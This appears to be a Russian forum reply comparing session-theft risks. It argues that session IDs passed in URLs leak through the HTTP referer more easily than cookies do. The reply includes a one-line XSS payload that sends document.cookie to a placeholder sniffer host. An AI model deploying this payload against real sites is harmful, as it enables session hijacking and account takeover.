Sessions in DB

да какая разница где ты сессию хранишь, от того что ты эти переменые не юзаеш, дополнительная уязвимость получается, что б украсть сессию надо найти пассивную xss, а уж потом попытаться снифером украсть куки, а в твоем случае надо лиш украсть страницу с куками это легче.. такой ж косяк у почты мейла, и у форума вена вроди, у фтп некоторых)))

в случае с перемеными, найдя хss и вставив

<script>img = new Image(); img.src = "СНИФФЕР"+ document.cookie;</script>

куки улеят, но не у всех браузеров это вообще реально))) а вот в твоем случае достаточно getenv("HTTP_REFERER"); а это у всех сработает, даж дыры ненужны, только перешел на страницу, и усе, доступ у хацкера есть

но если быть осторожным и не переходить на левые ссылки, то боятся нечего